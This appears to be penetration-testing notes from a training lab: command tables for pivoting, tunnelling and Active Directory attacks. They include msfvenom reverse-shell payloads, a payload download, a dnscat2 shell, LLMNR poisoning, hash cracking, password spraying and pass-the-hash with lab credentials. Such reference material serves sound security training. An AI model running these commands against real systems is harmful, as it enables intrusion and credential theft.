# Dado1513 Pentest Notes

##


# Introduction & Documentation


# Pentesting Methodologies


# External Recon Pentesting


# Brute Force


# LotL - Living off the Land


# Pivoting Tunnelling and Port Forward

| Command                                                                                                                                                                                                            | Description                                                                                                                                                                                                                                                             |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `ifconfig`                                                                                                                                                                                                         | Linux-based command that displays all current network configurations of a system.                                                                                                                                                                                       |
| `ipconfig`                                                                                                                                                                                                         | Windows-based command that displays all system network configurations.                                                                                                                                                                                                  |
| `netstat -r`                                                                                                                                                                                                       | Command used to display the routing table for all IPv4-based protocols.                                                                                                                                                                                                 |
| `nmap -sT -p22,3306 <IPaddressofTarget>`                                                                                                                                                                           | Nmap command used to scan a target for open ports allowing SSH or MySQL connections.                                                                                                                                                                                    |
| `ssh -L 1234:localhost:3306 Ubuntu@<IPaddressofTarget>`                                                                                                                                                            | SSH comand used to create an SSH tunnel from a local machine on local port `1234` to a remote target using port 3306.                                                                                                                                                   |
| `netstat -antp \| grep 1234`                                                                                                                                                                                       | Netstat option used to display network connections associated with a tunnel created. Using `grep` to filter based on local port `1234` .                                                                                                                                |
| `nmap -v -sV -p1234 localhost`                                                                                                                                                                                     | Nmap command used to scan a host through a connection that has been made on local port `1234`.                                                                                                                                                                          |
| `ssh -L 1234:localhost:3306 8080:localhost:80 ubuntu@<IPaddressofTarget>`                                                                                                                                          | SSH command that instructs the ssh client to request the SSH server forward all data via port `1234` to `localhost:3306`.                                                                                                                                               |
| `ssh -D 9050 ubuntu@<IPaddressofTarget>`                                                                                                                                                                           | SSH command used to perform a dynamic port forward on port `9050` and establishes an SSH tunnel with the target. This is part of setting up a SOCKS proxy.                                                                                                              |
| `tail -4 /etc/proxychains.conf`                                                                                                                                                                                    | Linux-based command used to display the last 4 lines of /etc/proxychains.conf. Can be used to ensure socks configurations are in place.                                                                                                                                 |
| `proxychains nmap -v -sn 172.16.5.1-200`                                                                                                                                                                           | Used to send traffic generated by an Nmap scan through Proxychains and a SOCKS proxy. Scan is performed against the hosts in the specified range `172.16.5.1-200` with increased verbosity (`-v`) disabling ping scan (`-sn`).                                          |
| `proxychains nmap -v -Pn -sT 172.16.5.19`                                                                                                                                                                          | Used to send traffic generated by an Nmap scan through Proxychains and a SOCKS proxy. Scan is performed against 172.16.5.19 with increased verbosity (`-v`), disabling ping discover (`-Pn`), and using TCP connect scan type (`-sT`).                                  |
| `proxychains msfconsole`                                                                                                                                                                                           | Uses Proxychains to open Metasploit and send all generated network traffic through a SOCKS proxy.                                                                                                                                                                       |
| `msf6 > search rdp_scanner`                                                                                                                                                                                        | Metasploit search that attempts to find a module called `rdp_scanner`.                                                                                                                                                                                                  |
| `proxychains xfreerdp /v:<IPaddressofTarget> /u:victor /p:pass@123`                                                                                                                                                | Used to connect to a target using RDP and a set of credentials using proxychains. This will send all traffic through a SOCKS proxy.                                                                                                                                     |
| `msfvenom -p windows/x64/meterpreter/reverse_https lhost= <InteralIPofPivotHost> -f exe -o backupscript.exe LPORT=8080`                                                                                            | Uses msfvenom to generate a Windows-based reverse HTTPS Meterpreter payload that will send a call back to the IP address specified following `lhost=` on local port 8080 (`LPORT=8080`). Payload will take the form of an executable file called `backupscript.exe`.    |
| `msf6 > use exploit/multi/handler`                                                                                                                                                                                 | Used to select the multi-handler exploit module in Metasploit.                                                                                                                                                                                                          |
| `scp backupscript.exe ubuntu@<ipAddressofTarget>:~/`                                                                                                                                                               | Uses secure copy protocol (`scp`) to transfer the file `backupscript.exe` to the specified host and places it in the Ubuntu user's home directory (`:~/`).                                                                                                              |
| `python3 -m http.server 8123`                                                                                                                                                                                      | Uses Python3 to start a simple HTTP server listening on port `8123`. Can be used to retrieve files from a host.                                                                                                                                                         |
| `Invoke-WebRequest -Uri "http://172.16.5.129:8123/backupscript.exe" -OutFile "C:\backupscript.exe"`                                                                                                                | PowerShell command used to download a file called backupscript.exe from a webserver (`172.16.5.129:8123`) and then save the file to location specified after `-OutFile`.                                                                                                |
| `ssh -R <InternalIPofPivotHost>:8080:0.0.0.0:80 ubuntu@<ipAddressofTarget> -vN`                                                                                                                                    | SSH command used to create a reverse SSH tunnel from a target to an attack host. Traffic is forwarded on port `8080` on the attack host to port `80` on the target.                                                                                                     |
| `msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IPaddressofAttackHost -f elf -o backupjob LPORT=8080`                                                                                                        | Uses msfveom to generate a Linux-based Meterpreter reverse TCP payload that calls back to the IP specified after `LHOST=` on port 8080 (`LPORT=8080`). Payload takes the form of an executable elf file called backupjob.                                               |
| `msf6> run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23`                                                                                                                                                      | Metasploit command that runs a ping sweep module against the specified network segment (`RHOSTS=172.16.5.0/23`).                                                                                                                                                        |
|                                                                                                                                                                                                                    |                                                                                                                                                                                                                                                                         |
| `for i in {1..254} ;do (ping -c 1 172.16.5.$i \| grep "bytes from" &) ;done`                                                                                                                                       | For Loop used on a Linux-based system to discover devices in a specified network segment.                                                                                                                                                                               |
| `for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 \| find "Reply"`                                                                                                                                           | For Loop used on a Windows-based system to discover devices in a specified network segment.                                                                                                                                                                             |
| `1..254 \| % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)"}`                                                                                                                          | PowerShell one-liner used to ping addresses 1 - 254 in the specified network segment.                                                                                                                                                                                   |
| `msf6 > use auxiliary/server/socks_proxy`                                                                                                                                                                          | Metasploit command that selects the `socks_proxy` auxiliary module.                                                                                                                                                                                                     |
| `msf6 auxiliary(server/socks_proxy) > jobs`                                                                                                                                                                        | Metasploit command that lists all currently running jobs.                                                                                                                                                                                                               |
| `socks4 127.0.0.1 9050`                                                                                                                                                                                            | Line of text that should be added to /etc/proxychains.conf to ensure a SOCKS version 4 proxy is used in combination with proxychains on the specified IP address and port.                                                                                              |
| `Socks5 127.0.0.1 1080`                                                                                                                                                                                            | Line of text that should be added to /etc/proxychains.conf to ensure a SOCKS version 5 proxy is used in combination with proxychains on the specified IP address and port.                                                                                              |
| `msf6 > use post/multi/manage/autoroute`                                                                                                                                                                           | Metasploit command used to select the autoroute module.                                                                                                                                                                                                                 |
|                                                                                                                                                                                                                    |                                                                                                                                                                                                                                                                         |
| `meterpreter > help portfwd`                                                                                                                                                                                       | Meterpreter command used to display the features of the portfwd command.                                                                                                                                                                                                |
| `meterpreter > portfwd add -l 3300 -p 3389 -r <IPaddressofTarget>`                                                                                                                                                 | Meterpreter-based portfwd command that adds a forwarding rule to the current Meterpreter session. This rule forwards network traffic on port 3300 on the local machine to port 3389 (RDP) on the target.                                                                |
| `xfreerdp /v:localhost:3300 /u:victor /p:pass@123`                                                                                                                                                                 | Uses xfreerdp to connect to a remote host through localhost:3300 using a set of credentials. Port forwarding rules must be in place for this to work properly.                                                                                                          |
| `netstat -antp`                                                                                                                                                                                                    | Used to display all (`-a`) active network connections with associated process IDs. `-t` displays only TCP connections.`-n` displays only numerical addresses. `-p` displays process IDs associated with each displayed connection.                                      |
| `meterpreter > portfwd add -R -l 8081 -p 1234 -L <IPaddressofAttackHost>`                                                                                                                                          | Meterpreter-based portfwd command that adds a forwarding rule that directs traffic coming on on port 8081 to the port `1234` listening on the IP address of the Attack Host.                                                                                            |
| `meterpreter > bg`                                                                                                                                                                                                 | Meterpreter-based command used to run the selected metepreter session in the background. Similar to background a process in Linux                                                                                                                                       |
| `socat TCP4-LISTEN:8080,fork TCP4:<IPaddressofAttackHost>:80`                                                                                                                                                      | Uses Socat to listen on port 8080 and then to fork when the connection is received. It will then connect to the attack host on port 80.                                                                                                                                 |
| `socat TCP4-LISTEN:8080,fork TCP4:<IPaddressofTarget>:8443`                                                                                                                                                        | Uses Socat to listen on port 8080 and then to fork when the connection is received. Then it will connect to the target host on port 8443.                                                                                                                               |
| `plink -D 9050 ubuntu@<IPaddressofTarget>`                                                                                                                                                                         | Windows-based command that uses PuTTY's Plink.exe to perform SSH dynamic port forwarding and establishes an SSH tunnel with the specified target. This will allow for proxy chaining on a Windows host, similar to what is done with Proxychains on a Linux-based host. |
| `sudo apt-get install sshuttle`                                                                                                                                                                                    | Uses apt-get to install the tool sshuttle.                                                                                                                                                                                                                              |
| `sudo sshuttle -r ubuntu@10.129.202.64 172.16.5.0 -v`                                                                                                                                                              | Runs sshuttle, connects to the target host, and creates a route to the 172.16.5.0 network so traffic can pass from the attack host to hosts on the internal network (`172.16.5.0`).                                                                                     |
| `sudo git clone https://github.com/klsecservices/rpivot.git`                                                                                                                                                       | Clones the rpivot project GitHub repository.                                                                                                                                                                                                                            |
| `sudo apt-get install python2.7`                                                                                                                                                                                   | Uses apt-get to install python2.7.                                                                                                                                                                                                                                      |
| `python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0`                                                                                                                                     | Used to run the rpivot server (`server.py`) on proxy port `9050`, server port `9999` and listening on any IP address (`0.0.0.0`).                                                                                                                                       |
| `scp -r rpivot ubuntu@<IPaddressOfTarget>`                                                                                                                                                                         | Uses secure copy protocol to transfer an entire directory and all of its contents to a specified target.                                                                                                                                                                |
| `python2.7 client.py --server-ip 10.10.14.18 --server-port 9999`                                                                                                                                                   | Used to run the rpivot client (`client.py`) to connect to the specified rpivot server on the appropriate port.                                                                                                                                                          |
| `proxychains firefox-esr <IPaddressofTargetWebServer>:80`                                                                                                                                                          | Opens firefox with Proxychains and sends the web request through a SOCKS proxy server to the specified destination web server.                                                                                                                                          |
| `python client.py --server-ip <IPaddressofTargetWebServer> --server-port 8080 --ntlm-proxy-ip IPaddressofProxy> --ntlm-proxy-port 8081 --domain <nameofWindowsDomain> --username <username> --password <password>` | Use to run the rpivot client to connect to a web server that is using HTTP-Proxy with NTLM authentication.                                                                                                                                                              |
| `netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.42.198 connectport=3389 connectaddress=172.16.5.25`                                                                                 | Windows-based command that uses `netsh.exe` to configure a portproxy rule called `v4tov4` that listens on port 8080 and forwards connections to the destination 172.16.5.25 on port 3389.                                                                               |
| `netsh.exe interface portproxy show v4tov4`                                                                                                                                                                        | Windows-based command used to view the configurations of a portproxy rule called v4tov4.                                                                                                                                                                                |
| `git clone https://github.com/iagox86/dnscat2.git`                                                                                                                                                                 | Clones the `dnscat2` project GitHub repository.                                                                                                                                                                                                                         |
| `sudo ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=inlanefreight.local --no-cache`                                                                                                                        | Used to start the dnscat2.rb server running on the specified IP address, port (`53`) & using the domain `inlanefreight.local` with the no-cache option enabled.                                                                                                         |
| `git clone https://github.com/lukebaggett/dnscat2-powershell.git`                                                                                                                                                  | Clones the dnscat2-powershell project Github repository.                                                                                                                                                                                                                |
| `Import-Module dnscat2.ps1`                                                                                                                                                                                        | PowerShell command used to import the dnscat2.ps1 tool.                                                                                                                                                                                                                 |
| `Start-Dnscat2 -DNSserver 10.10.14.18 -Domain inlanefreight.local -PreSharedSecret 0ec04a91cd1e963f8c03ca499d589d21 -Exec cmd`                                                                                     | PowerShell command used to connect to a specified dnscat2 server using a IP address, domain name and preshared secret. The client will send back a shell connection to the server (`-Exec cmd`).                                                                        |
| `dnscat2> ?`                                                                                                                                                                                                       | Used to list dnscat2 options.                                                                                                                                                                                                                                           |
| `dnscat2> window -i 1`                                                                                                                                                                                             | Used to interact with an established dnscat2 session.                                                                                                                                                                                                                   |
| `./chisel server -v -p 1234 --socks5`                                                                                                                                                                              | Used to start a chisel server in verbose mode listening on port `1234` using SOCKS version 5.                                                                                                                                                                           |
| `./chisel client -v 10.129.202.64:1234 socks`                                                                                                                                                                      | Used to connect to a chisel server at the specified IP address & port using socks.                                                                                                                                                                                      |
| `git clone https://github.com/utoni/ptunnel-ng.git`                                                                                                                                                                | Clones the ptunnel-ng project GitHub repository.                                                                                                                                                                                                                        |
| `sudo ./autogen.sh`                                                                                                                                                                                                | Used to run the autogen.sh shell script that will build the necessary ptunnel-ng files.                                                                                                                                                                                 |
| `sudo ./ptunnel-ng -r10.129.202.64 -R22`                                                                                                                                                                           | Used to start the ptunnel-ng server on the specified IP address (`-r`) and corresponding port (`-R22`).                                                                                                                                                                 |
| `sudo ./ptunnel-ng -p10.129.202.64 -l2222 -r10.129.202.64 -R22`                                                                                                                                                    | Used to connect to a specified ptunnel-ng server through local port 2222 (`-l2222`).                                                                                                                                                                                    |
| `ssh -p2222 -lubuntu 127.0.0.1`                                                                                                                                                                                    | SSH command used to connect to an SSH server through a local port. This can be used to tunnel SSH traffic through an ICMP tunnel.                                                                                                                                       |
| `regsvr32.exe SocksOverRDP-Plugin.dll`                                                                                                                                                                             | Windows-based command used to register the SocksOverRDP-PLugin.dll.                                                                                                                                                                                                     |
| `netstat -antb \|findstr 1080`                                                                                                                                                                                     | Windows-based command used to list TCP network connections listening on port 1080.                                                                                                                                                                                      |


# Active Directory Enumeration & Attacks

## Initial Enumeration

| Command                                                                                             | Description                                                                                                                                                                                                                                                                                                 |
| --------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `nslookup ns1.inlanefreight.com`                                                                    | Used to query the domain name system and discover the IP address to domain name mapping of the target entered from a Linux-based host.                                                                                                                                                                      |
| `sudo tcpdump -i ens224`                                                                            | Used to start capturing network packets on the network interface proceeding the `-i` option a Linux-based host.                                                                                                                                                                                             |
| `sudo responder -I ens224 -A`                                                                       | Used to start responding to & analyzing `LLMNR`, `NBT-NS` and `MDNS` queries on the interface specified proceeding the `-I` option and operating in `Passive Analysis` mode which is activated using `-A`. Performed from a Linux-based host                                                                |
| `fping -asgq 172.16.5.0/23`                                                                         | Performs a ping sweep on the specified network segment from a Linux-based host.                                                                                                                                                                                                                             |
| `sudo nmap -v -A -iL hosts.txt -oN /home/User/Documents/host-enum`                                  | Performs an nmap scan that with OS detection, version detection, script scanning, and traceroute enabled (`-A`) based on a list of hosts (`hosts.txt`) specified in the file proceeding `-iL`. Then outputs the scan results to the file specified after the `-oN`option. Performed from a Linux-based host |
| `sudo git clone https://github.com/ropnop/kerbrute.git`                                             | Uses `git` to clone the kerbrute tool from a Linux-based host.                                                                                                                                                                                                                                              |
| `make help`                                                                                         | Used to list compiling options that are possible with `make` from a Linux-based host.                                                                                                                                                                                                                       |
| `sudo make all`                                                                                     | Used to compile a `Kerbrute` binary for multiple OS platforms and CPU architectures.                                                                                                                                                                                                                        |
| `./kerbrute_linux_amd64`                                                                            | Used to test the chosen complied `Kebrute` binary from a Linux-based host.                                                                                                                                                                                                                                  |
| `sudo mv kerbrute_linux_amd64 /usr/local/bin/kerbrute`                                              | Used to move the `Kerbrute` binary to a directory can be set to be in a Linux user's path. Making it easier to use the tool.                                                                                                                                                                                |
| `./kerbrute_linux_amd64 userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 jsmith.txt -o kerb-results` | Runs the Kerbrute tool to discover usernames in the domain (`INLANEFREIGHT.LOCAL`) specified proceeding the `-d` option and the associated domain controller specified proceeding `--dc`using a wordlist and outputs (`-o`) the results to a specified file. Performed from a Linux-based host.             |

## LLMNR/NTB-NS Poisoning

| Command                                                                                                                                                                                                       | Description                                                                                                                                                              |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `responder -h`                                                                                                                                                                                                | Used to display the usage instructions and various options available in `Responder` from a Linux-based host.                                                             |
| `hashcat -m 5600 forend_ntlmv2 /usr/share/wordlists/rockyou.txt`                                                                                                                                              | Uses `hashcat` to crack `NTLMv2` (`-m`) hashes that were captured by responder and saved in a file (`frond_ntlmv2`). The cracking is done based on a specified wordlist. |
| `Import-Module .\Inveigh.ps1`                                                                                                                                                                                 | Using the `Import-Module` PowerShell cmd-let to import the Windows-based tool `Inveigh.ps1`.                                                                             |
| `(Get-Command Invoke-Inveigh).Parameters`                                                                                                                                                                     | Used to output many of the options & functionality available with `Invoke-Inveigh`. Peformed from a Windows-based host.                                                  |
| `Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y`                                                                                                                                                     | Starts `Inveigh` on a Windows-based host with LLMNR & NBNS spoofing enabled and outputs the results to a file.                                                           |
| `.\Inveigh.exe`                                                                                                                                                                                               | Starts the `C#` implementation of `Inveigh` from a Windows-based host.                                                                                                   |
| `$regkey = "HKLM:SYSTEM\CurrentControlSet\services\NetBT\Parameters\Interfaces" Get-ChildItem $regkey \|foreach { Set-ItemProperty -Path "$regkey\$($_.pschildname)" -Name NetbiosOptions -Value 2 -Verbose}` | PowerShell script used to disable NBT-NS on a Windows host.                                                                                                              |

## Password Spraying & Password Policies

| Command                                                                                                                              | Description                                                                                                                                                                                                                                          |
| ------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `#!/bin/bash for x in {{A..Z},{0..9}}{{A..Z},{0..9}}{{A..Z},{0..9}}{{A..Z},{0..9}} do echo $x; done`                                 | Bash script used to generate `16,079,616` possible username combinations from a Linux-based host.                                                                                                                                                    |
| `crackmapexec smb 172.16.5.5 -u avazquez -p Password123 --pass-pol`                                                                  | Uses `CrackMapExec`and valid credentials (`avazquez:Password123`) to enumerate the password policy (`--pass-pol`) from a Linux-based host.                                                                                                           |
| `rpcclient -U "" -N 172.16.5.5`                                                                                                      | Uses `rpcclient` to discover information about the domain through `SMB NULL` sessions. Performed from a Linux-based host.                                                                                                                            |
| `rpcclient $> querydominfo`                                                                                                          | Uses `rpcclient` to enumerate the password policy in a target Windows domain from a Linux-based host.                                                                                                                                                |
| `enum4linux -P 172.16.5.5`                                                                                                           | Uses `enum4linux` to enumerate the password policy (`-P`) in a target Windows domain from a Linux-based host.                                                                                                                                        |
| `enum4linux-ng -P 172.16.5.5 -oA ilfreight`                                                                                          | Uses `enum4linux-ng` to enumerate the password policy (`-P`) in a target Windows domain from a Linux-based host, then presents the output in YAML & JSON saved in a file proceeding the `-oA` option.                                                |
| `ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" \| grep -m 1 -B 10 pwdHistoryLength`                          | Uses `ldapsearch` to enumerate the password policy in a target Windows domain from a Linux-based host.                                                                                                                                               |
| `net accounts`                                                                                                                       | Used to enumerate the password policy in a Windows domain from a Windows-based host.                                                                                                                                                                 |
| `Import-Module .\PowerView.ps1`                                                                                                      | Uses the Import-Module cmd-let to import the `PowerView.ps1` tool from a Windows-based host.                                                                                                                                                         |
| `Get-DomainPolicy`                                                                                                                   | Used to enumerate the password policy in a target Windows domain from a Windows-based host.                                                                                                                                                          |
| `enum4linux -U 172.16.5.5 \| grep "user:" \| cut -f2 -d"[" \| cut -f1 -d"]"`                                                         | Uses `enum4linux` to discover user accounts in a target Windows domain, then leverages `grep` to filter the output to just display the user from a Linux-based host.                                                                                 |
| `rpcclient -U "" -N 172.16.5.5 rpcclient $> enumdomuser`                                                                             | Uses rpcclient to discover user accounts in a target Windows domain from a Linux-based host.                                                                                                                                                         |
| `crackmapexec smb 172.16.5.5 --users`                                                                                                | Uses `CrackMapExec` to discover users (`--users`) in a target Windows domain from a Linux-based host.                                                                                                                                                |
| `ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))" \| grep sAMAccountName: \| cut -f2 -d" "` | Uses `ldapsearch` to discover users in a target Windows doman, then filters the output using `grep` to show only the `sAMAccountName` from a Linux-based host.                                                                                       |
| `./windapsearch.py --dc-ip 172.16.5.5 -u "" -U`                                                                                      | Uses the python tool `windapsearch.py` to discover users in a target Windows domain from a Linux-based host.                                                                                                                                         |
| `for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 \| grep Authority; done`             | Bash one-liner used to perform a password spraying attack using `rpcclient` and a list of users (`valid_users.txt`) from a Linux-based host. It also filters out failed attempts to make the output cleaner.                                         |
| `kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1`                                             | Uses `kerbrute` and a list of users (`valid_users.txt`) to perform a password spraying attack against a target Windows domain from a Linux-based host.                                                                                               |
| `sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 \| grep +`                                                       | Uses `CrackMapExec` and a list of users (`valid_users.txt`) to perform a password spraying attack against a target Windows domain from a Linux-based host. It also filters out logon failures using `grep`.                                          |
| `sudo crackmapexec smb 172.16.5.5 -u avazquez -p Password123`                                                                        | Uses `CrackMapExec` to validate a set of credentials from a Linux-based host.                                                                                                                                                                        |
| `sudo crackmapexec smb --local-auth 172.16.5.0/24 -u administrator -H 88ad09182de639ccc6579eb0849751cf \| grep +`                    | Uses `CrackMapExec` and the -`-local-auth` flag to ensure only one login attempt is performed from a Linux-based host. This is to ensure accounts are not locked out by enforced password policies. It also filters out logon failures using `grep`. |
| `Import-Module .\DomainPasswordSpray.ps1`                                                                                            | Used to import the PowerShell-based tool `DomainPasswordSpray.ps1` from a Windows-based host.                                                                                                                                                        |
| `Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue`                                 | Performs a password spraying attack and outputs (-OutFile) the results to a specified file (`spray_success`) from a Windows-based host.                                                                                                              |

## Enumerating Security Controls

| Command                                                                    | Description                                                                                                                                                                                  |
| -------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Get-MpComputerStatus`                                                     | PowerShell cmd-let used to check the status of `Windows Defender Anti-Virus` from a Windows-based host.                                                                                      |
| `Get-AppLockerPolicy -Effective \| select -ExpandProperty RuleCollections` | PowerShell cmd-let used to view `AppLocker` policies from a Windows-based host.                                                                                                              |
| `$ExecutionContext.SessionState.LanguageMode`                              | PowerShell script used to discover the `PowerShell Language Mode` being used on a Windows-based host. Performed from a Windows-based host.                                                   |
| `Find-LAPSDelegatedGroups`                                                 | A `LAPSToolkit` function that discovers `LAPS Delegated Groups` from a Windows-based host.                                                                                                   |
| `Find-AdmPwdExtendedRights`                                                | A `LAPSTookit` function that checks the rights on each computer with LAPS enabled for any groups with read access and users with `All Extended Rights`. Performed from a Windows-based host. |
| `Get-LAPSComputers`                                                        | A `LAPSToolkit` function that searches for computers that have LAPS enabled, discover password expiration and can discover randomized passwords. Performed from a Windows-based host.        |

## Credentialed Enumeration

| Command                                                                                          | Description                                                                                                                                                                                                                                                                             |
| ------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `xfreerdp /u:forend@inlanefreight.local /p:Klmcargo2 /v:172.16.5.25`                             | Connects to a Windows target using valid credentials. Performed from a Linux-based host.                                                                                                                                                                                                |
| `sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --users`                                | Authenticates with a Windows target over `smb` using valid credentials and attempts to discover more users (`--users`) in a target Windows domain. Performed from a Linux-based host.                                                                                                   |
| `sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --groups`                               | Authenticates with a Windows target over `smb` using valid credentials and attempts to discover groups (`--groups`) in a target Windows domain. Performed from a Linux-based host.                                                                                                      |
| `sudo crackmapexec smb 172.16.5.125 -u forend -p Klmcargo2 --loggedon-users`                     | Authenticates with a Windows target over `smb` using valid credentials and attempts to check for a list of logged on users (`--loggedon-users`) on the target Windows host. Performed from a Linux-based host.                                                                          |
| `sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --shares`                               | Authenticates with a Windows target over `smb` using valid credentials and attempts to discover any smb shares (`--shares`). Performed from a Linux-based host.                                                                                                                         |
| `sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M spider_plus --share Dev-share`       | Authenticates with a Windows target over `smb` using valid credentials and utilizes the CrackMapExec module (`-M`) `spider_plus` to go through each readable share (`Dev-share`) and list all readable files. The results are outputted in `JSON`. Performed from a Linux-based host.   |
| `smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5`                             | Enumerates the target Windows domain using valid credentials and lists shares & permissions available on each within the context of the valid credentials used and the target Windows host (`-H`). Performed from a Linux-based host.                                                   |
| `smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5 -R SYSVOL --dir-only`        | Enumerates the target Windows domain using valid credentials and performs a recursive listing (`-R`) of the specified share (`SYSVOL`) and only outputs a list of directories (`--dir-only`) in the share. Performed from a Linux-based host.                                           |
| `rpcclient $> queryuser 0x457`                                                                   | Enumerates a target user account in a Windows domain using its relative identifier (`0x457`). Performed from a Linux-based host.                                                                                                                                                        |
| `rpcclient $> enumdomusers`                                                                      | Discovers user accounts in a target Windows domain and their associated relative identifiers (`rid`). Performed from a Linux-based host.                                                                                                                                                |
| `psexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.125`                                | Impacket tool used to connect to the `CLI` of a Windows target via the `ADMIN$` administrative share with valid credentials. Performed from a Linux-based host.                                                                                                                         |
| `wmiexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.5`                                 | Impacket tool used to connect to the `CLI` of a Windows target via `WMI` with valid credentials. Performed from a Linux-based host.                                                                                                                                                     |
| `windapsearch.py -h`                                                                             | Used to display the options and functionality of windapsearch.py. Performed from a Linux-based host.                                                                                                                                                                                    |
| `python3 windapsearch.py --dc-ip 172.16.5.5 -u inlanefreight\wley -p Klmcargo2 --da`             | Used to enumerate the domain admins group (`--da`) using a valid set of credentials on a target Windows domain. Performed from a Linux-based host.                                                                                                                                      |
| `python3 windapsearch.py --dc-ip 172.16.5.5 -u inlanefreight\wley -p Klmcargo2 -PU`              | Used to perform a recursive search (`-PU`) for users with nested permissions using valid credentials. Performed from a Linux-based host.                                                                                                                                                |
| `sudo bloodhound-python -u 'forend' -p 'Klmcargo2' -ns 172.16.5.5 -d inlanefreight.local -c all` | Executes the python implementation of BloodHound (`bloodhound.py`) with valid credentials and specifies a name server (`-ns`) and target Windows domain (`inlanefreight.local`) as well as runs all checks (`-c all`). Runs using valid credentials. Performed from a Linux-based host. |

## Enumeration by Living Off the Land

| Command                                                                                  | Description                                                                                                                                                                               |
| ---------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Get-Module`                                                                             | PowerShell cmd-let used to list all available modules, their version and command options from a Windows-based host.                                                                       |
| `Import-Module ActiveDirectory`                                                          | Loads the `Active Directory` PowerShell module from a Windows-based host.                                                                                                                 |
| `Get-ADDomain`                                                                           | PowerShell cmd-let used to gather Windows domain information from a Windows-based host.                                                                                                   |
| `Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName` | PowerShell cmd-let used to enumerate user accounts on a target Windows domain and filter by `ServicePrincipalName`. Performed from a Windows-based host.                                  |
| `Get-ADTrust -Filter *`                                                                  | PowerShell cmd-let used to enumerate any trust relationships in a target Windows domain and filters by any (`-Filter *`). Performed from a Windows-based host.                            |
| `Get-ADGroup -Filter * \| select name`                                                   | PowerShell cmd-let used to enumerate groups in a target Windows domain and filters by the name of the group (`select name`). Performed from a Windows-based host.                         |
| `Get-ADGroup -Identity "Backup Operators"`                                               | PowerShell cmd-let used to search for a specifc group (`-Identity "Backup Operators"`). Performed from a Windows-based host.                                                              |
| `Get-ADGroupMember -Identity "Backup Operators"`                                         | PowerShell cmd-let used to discover the members of a specific group (`-Identity "Backup Operators"`). Performed from a Windows-based host.                                                |
| `Export-PowerViewCSV`                                                                    | PowerView script used to append results to a `CSV` file. Performed from a Windows-based host.                                                                                             |
| `ConvertTo-SID`                                                                          | PowerView script used to convert a `User` or `Group` name to it's `SID`. Performed from a Windows-based host.                                                                             |
| `Get-DomainSPNTicket`                                                                    | PowerView script used to request the kerberos ticket for a specified service principal name (`SPN`). Performed from a Windows-based host.                                                 |
| `Get-Domain`                                                                             | PowerView script used tol return the AD object for the current (or specified) domain. Performed from a Windows-based host.                                                                |
| `Get-DomainController`                                                                   | PowerView script used to return a list of the target domain controllers for the specified target domain. Performed from a Windows-based host.                                             |
| `Get-DomainUser`                                                                         | PowerView script used to return all users or specific user objects in AD. Performed from a Windows-based host.                                                                            |
| `Get-DomainComputer`                                                                     | PowerView script used to return all computers or specific computer objects in AD. Performed from a Windows-based host.                                                                    |
| `Get-DomainGroup`                                                                        | PowerView script used to eturn all groups or specific group objects in AD. Performed from a Windows-based host.                                                                           |
| `Get-DomainOU`                                                                           | PowerView script used to search for all or specific OU objects in AD. Performed from a Windows-based host.                                                                                |
| `Find-InterestingDomainAcl`                                                              | PowerView script used to find object `ACLs` in the domain with modification rights set to non-built in objects. Performed from a Windows-based host.                                      |
| `Get-DomainGroupMember`                                                                  | PowerView script used to return the members of a specific domain group. Performed from a Windows-based host.                                                                              |
| `Get-DomainFileServer`                                                                   | PowerView script used to return a list of servers likely functioning as file servers. Performed from a Windows-based host.                                                                |
| `Get-DomainDFSShare`                                                                     | PowerView script used to return a list of all distributed file systems for the current (or specified) domain. Performed from a Windows-based host.                                        |
| `Get-DomainGPO`                                                                          | PowerView script used to return all GPOs or specific GPO objects in AD. Performed from a Windows-based host.                                                                              |
| `Get-DomainPolicy`                                                                       | PowerView script used to return the default domain policy or the domain controller policy for the current domain. Performed from a Windows-based host.                                    |
| `Get-NetLocalGroup`                                                                      | PowerView script used to enumerate local groups on a local or remote machine. Performed from a Windows-based host.                                                                        |
| `Get-NetLocalGroupMember`                                                                | PowerView script enumerate members of a specific local group. Performed from a Windows-based host.                                                                                        |
